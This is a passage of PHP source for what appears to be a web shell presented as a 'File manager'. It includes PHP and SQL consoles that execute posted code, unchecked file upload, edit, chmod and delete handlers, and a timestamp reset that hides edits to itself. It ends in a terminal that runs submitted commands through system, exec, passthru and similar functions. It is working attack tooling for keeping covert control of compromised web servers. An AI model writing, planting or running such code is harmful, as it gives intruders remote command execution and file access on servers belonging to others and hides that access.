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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>

</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
